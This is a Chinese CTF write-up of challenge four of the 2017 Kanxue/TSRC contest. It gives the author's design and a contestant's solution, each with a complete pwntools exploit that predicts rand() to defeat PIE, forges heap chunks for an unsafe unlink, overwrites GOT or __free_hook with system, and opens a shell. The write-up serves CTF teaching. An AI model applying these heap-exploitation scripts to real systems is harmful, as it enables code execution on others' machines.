看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路
happy Halloween‘s Day!大家萬聖節快樂!
第四題過後,看雪CTF賽程即將過半。
第四題的出題者BPG,以被29人攻破的成績,居於防守方第一名。
第四題過後,攻擊方的排名發生了較大的變化,競爭異常激烈。
風間仁重回第一名,黑馬iweizitime,後來者居上,由原來的第七名升至第二名,poyoten也由第八名升至第三名。
目前還剩5道題,究竟誰能笑到最後呢?讓我們拭目以待吧!
接下來讓我們一起來看看關於第四題的點評、出題思路和解析。
看雪評委netwind點評
作者精心構造了一個堆漏洞house_of_orange,為了保證解題思路的唯一性,作者進行了一些限制。為了避免攻擊者直接利用double_free漏洞,作者開啟了PIE保護,但可以透過隨機數預測得到棧地址,在退出的時候將system_addr寫到棧裡面,之後呼叫malloc觸發異常實現攻擊。可惜的是百密一疏,攻擊者找到了更簡單的方法攻破此題。
第四題作者簡介
mutepig,已退役web選手,今年剛開始真正學習pwn,目前仍是小菜雞一枚,希望能在看雪論壇中向大牛們多多學習交流。
第四題設計思路
0x01 隨機數預測
首先是要獲取堆的地址,由於開了PIE所以需要透過程式洩露出來,透過隨機數來獲得種子,從而得到`data段`地址。
程式在開始宣告瞭兩個變數`seed`和`name`,隨機數種子就是`seed`的地址,在猜測正確隨機數後就能將地址返回回來,那麼問題就是如何預測隨機數了。
具體需要了解[隨機數的原理](http://mutepig.club),這裡直接把結論丟出來:
rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff
所以只要獲得了前31個隨機數,就能預測出來後面的隨機數,從而得到洩露的地址。
0x02 off by one
在留言的時候,由於多讀了一個字串,所以會導致`off by one`,從而溢位下一個`chunk`的`size`。
那麼我們可以構造類似這樣的`chunk`:
+==========+
0 |0xf8
+==========+
fake_chunk(size=0xe0)
+==========+
.......
+==========+
0xe0 | 0x100
+==========+
這樣實現之後,不僅我們控制了下一個`chunk`的`prev_size`,使得其指向的前一個`chunk`是我們偽造的,同時覆蓋了下一個`chunk`的`size`的最低位,使之認為上一個`chunk`是空閒的,所以會呼叫`unlink`。
0x03 EXP
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def new(box,size=0):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(box))
p.recvuntil("> ")
p.sendline(str(size))
def free(box):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(box))
def msg(box,cont):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(box))
p.send(cont)
def show(box):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline(str(box))
return p.recvuntil("\n").strip()
def guess_num(num):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline(str(num))
ret = p.recvuntil("\n")
ok = "G00d" in ret
number = int(ret.split(" ")[-1].split("!")[0])
return ok,number
def guess():
randnum = []
for i in xrange(31):
ok,num = guess_num(0)
randnum.append(num)
while not ok:
guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
ok,num = guess_num(guess)
randnum.append(num)
return num
def df_chunk(addr,size):
# addr is the heap_addr, that means *addr=(&fake_chunk)
fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
fake_next_size = p64(size)
return fake_chunk + fake_next_size
if __name__ == "__main__":
# guess number to get stack_addr
seed_addr = guess()
heap_addr = seed_addr - 0x48 + 0x10
base_addr = seed_addr - 0x148-0x202000
free_got = elf.got['free'] + base_addr
atoi_got = elf.got['atoi'] + base_addr
puts_got = elf.got['puts'] + base_addr
libc_free = libc.symbols['free']
libc_system = libc.symbols['system']
log.success("heap_addr:" + hex(heap_addr))
new(1, 0x18)
new(2, 0xe8)
new(3, 0xf8)
new(4,0x110)
#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'
msg(4,"/bin/sh\x00\n")
payload = df_chunk(heap_addr,0xe0) + "\x00"
msg(2,payload)
free(3)
msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")
free_addr = show(2)
free_addr = free_addr.strip().ljust(8,"\x00")
free_addr = u64(free_addr)
base_addr = free_addr - libc_free
system_addr = base_addr + libc_system
log.success("system_addr: %s"%(hex(system_addr)))
msg(1,p64(system_addr)+"\n")
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("4")
#show(4)
p.interactive()
原文附檔案club.tar : bin + libc(點選左下角閱讀原文下載)
下面選取攻擊者iweizitime的破解分析
分析做法
首先,用pwntools檢查一下,pwn checksec club。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
結果如上,保護基本都開了,這意味著要洩露地址,不能使用shellcode,可以改got表。
分析get_box函式,發現它會對分配的記憶體大小進行限制,每個至少相差0x10位元組,所以不能用fastbin。
所以我們的思路就是想辦法洩露地址資訊,解決PIE。然後利用unsafe_unlink改寫__free_hook的值為system函式的地址,然後free一段包含/bin/sh的記憶體。
洩露程式載入地址
最先發現了猜隨機數的這個函式,這種型別的題目以前碰到過,如果你沒有猜對,程式會將正確的結果返回給你。
實際上在這種情況下libc裡面的rand函式是可以預測的。規律如下:
STATEi = STATEi-3 + STATEi-31, for i > 34
RANDi = STATEi >> 1
其中STATEi是int32_t型別。所以可以用:
RANDi = (RANDi-3 + RANDi-31) % (1<<31)
來預測,當然,可能猜不準,多猜幾次就是了。
seed其實被初始化為了它自己的地址,所以我們得到了seed的地址,也就得到了程式的載入地址。
洩露libc的載入地址
這個很容易,只要適當的free一個記憶體,它的fd和bk就指向了main_arena+88。下圖是alloc(1, 128), alloc(2, 144), alloc(3, 160), destroy(2)後的堆。
得到了main_arena的地址,也就可以算出libc的載入地址了。順便說一句,作者給的libc就是ubuntu 16.04上面的libc。
觸發unlink
給一個網址https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c 我覺得這個github repository講的很好,非常值得看。
網上的資料很多,主要說一下針對這個題的流程。
只有id為2,3的記憶體才能被釋放。先構造出一塊大的3記憶體,並保證它釋放的時候不會被合併到Top Chunk。
alloc(4, 528)
alloc(3, 512)
alloc(5, 544)
然後把記憶體3釋放掉,在堆中得到一個空洞。順便把main_arena的地址洩露出來。
destroy(3)
要注意到destroy_box函式除了free記憶體什麼也沒做,沒有將指標改為NULL,也沒有改變size和存在標誌。
也就是說,即使我們釋放了3記憶體,依然可以使用它。
接著分配兩個比較小的記憶體,但是也要比0x80大,不要落在fastbin裡面。
alloc(1, 0x80)
alloc(2, 0x90)
記憶體1和記憶體2的大小加起來也比記憶體3小,所以會在記憶體3釋放後留下的空洞中分配。注意一定要先分配記憶體1,再分配記憶體2,因為只有記憶體2能被free。現在的記憶體佈局如下。
------------------------------------------------------------------
| | | |
------------------------------------------------------------------
|<- 4 ->|<- 3 ->|<- 5 ->|
|<- 1 ->|<- 2 ->|
因為我們還有記憶體3的指標,所以可以任意修改記憶體1和記憶體2的值,可以偽造malloc_chunk。
程式碼
到這裡差不多就可以寫程式碼了。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import re
# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './club'
def alloc(box_type, size):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('> ')
io.sendline(str(box_type))
io.recvuntil('> ')
io.sendline(str(size))
l = io.recvline()
if l == 'You have got the box!\n':
return True
else:
return False
def destroy(box_type):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('> ')
io.sendline(str(box_type))
r = io.recvline()
if r == 'You have destroyed the box!\n':
return True
else:
return False
def leave_message(box_type, message):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('> ')
io.sendline(str(box_type))
io.sendline(message)
def show_message(box_type):
io.recvuntil('> ')
io.sendline('4')
io.recvuntil('> ')
io.sendline(str(box_type))
return io.recvline()
def guess_rand(rand_num):
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('> ')
io.sendline(str(rand_num))
l = io.recvline()
wrong = re.match('Wr0ng answer!The number is (\d+)!', l)
good = re.match('G00dj0b!You get a secret: (\d+)!', l)
if wrong:
return int(wrong.group(1)), False
elif good:
return int(good.group(1)), True
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote('123.206.22.95', 8888)
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
libc = ELF('./libc.so.6')
# 猜隨機數,洩露程式地址
l = []
for i in range(64):
rn, good = guess_rand(3232)
l.append(rn)
while True:
end = len(l)
r = (l[end-3]+l[end-31]) % 2147483648
rn, good = guess_rand(r)
if good:
seed_addr = rn
box_addrs_addr = seed_addr - 0x48
log.info("seed address {}".format(str(hex(seed_addr))))
log.info("box_addrs address {}".format(str(hex(box_addrs_addr))))
break
l.append(rn)
alloc(4, 528)
alloc(3, 512)
alloc(5, 544)
destroy(3)
# 找到main_arena,洩露libc地址
main_area = u64(show_message(3)[:6]+'\x00\x00') - 88
libc_base = main_area - 0x3c4b20
log.info('libc address {}'.format(str(hex(libc_base))))
__free_hook_addr = libc.symbols['__free_hook'] + libc_base
system_addr = libc.symbols['system'] + libc_base
log.info("libc __free_hook {}".format(str(hex(__free_hook_addr))))
log.info("libc system {}".format(str(hex(system_addr))))
alloc(1, 0x80)
alloc(2, 0x90)
box1_addr_addr = box_addrs_addr + 8
# fake chunk
payload1 = 'A' * 8 # fake chunk prev_size
payload1 += p64(8) # fake chunk size
payload1 += p64(box1_addr_addr - 8*3) # fake chunk fd
payload1 += p64(box1_addr_addr - 8*2) # fake chunk bk
payload1 += 'A' * (0x80-len(payload1))
payload1 += p64(0x80) # overwrite prev_size in next chunk
payload1 += p64(0xa0) # set PREV_INUSE to 0
leave_message(3, payload1)
# 觸發unlink
destroy(2)
# 將small box的地址改寫為__free_hook的地址
payload2 = '\x00' * 24
payload2 += p64(box_addrs_addr-0x10)
payload2 += p64(__free_hook_addr)
leave_message(1, payload2)
# 將__free_hook的值改寫為system的地址
leave_message(2, p64(system_addr))
# 寫入 '/bin/sh'
leave_message(3, '/bin/sh\x00')
# free normal box,也就是system('/bin/sh')
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('> ')
io.sendline(str(3))
io.interactive()
溫馨提示
每道題結束過後都會看到很多盆友的精彩解題分析過程,因為公眾號內容的限制,每次題目過後我們將選出一篇與大家分享。解題方式多種多樣,各位參賽選手的腦洞也種類繁多,想要看到更多解題分析的小夥伴們可以前往看雪論壇【CrackMe】版塊檢視哦!
原文出自看雪論壇,轉載請註明來自看雪社群
相關文章
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第二題點評及解析思路2017-10-28
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第三題點評及解析思路2017-10-30
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路2017-11-07
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第八題點評及解析思路2017-11-09
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第五題點評及解析思路2017-11-03
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第六題點評及解析思路2017-11-06
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第九題點評及解析思路2017-11-13
- 看雪.WiFi萬能鑰匙 CTF 2017第四題 點評及解題思路2017-06-29WiFi
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪CTF.TSRC 2018 團隊賽 第四題 『盜夢空間』 解題思路2018-12-23
- 看雪.WiFi萬能鑰匙 CTF 2017第十題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第五題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第三題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第七題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第八題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十三題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十一題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十四題 點評及解題思路2017-06-30WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十五題 點評及解題思路2017-08-10WiFi
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 看雪.WiFi萬能鑰匙 CTF 2017第十二 點評及解題思路2017-06-28WiFi
- 看雪CTF.TSRC 2018 團隊賽 第七題 『魔法森林』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第九題『諜戰』 解題思路2018-12-19
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪CTF.TSRC 2018 團隊賽 第一題 『初世紀』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第二題 『半加器』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第五題 『交響曲』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第六題 『追凶者也』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第八題 『二向箔』 解題思路2018-12-23
- 看雪·眾安 2021 KCTF 秋季賽 | 第十一題設計思路及解析2021-12-15
- 看雪CTF.TSRC 2018 團隊賽 第十題『俠義雙雄』 解題思路2018-12-21
- 看雪CTF.TSRC 2018 團隊賽 第三題 『七十二疑冢』 解題思路2018-12-23
- 看雪CTF.TSRC 2018 團隊賽 第十一題『伊甸園』 解題思路2018-12-23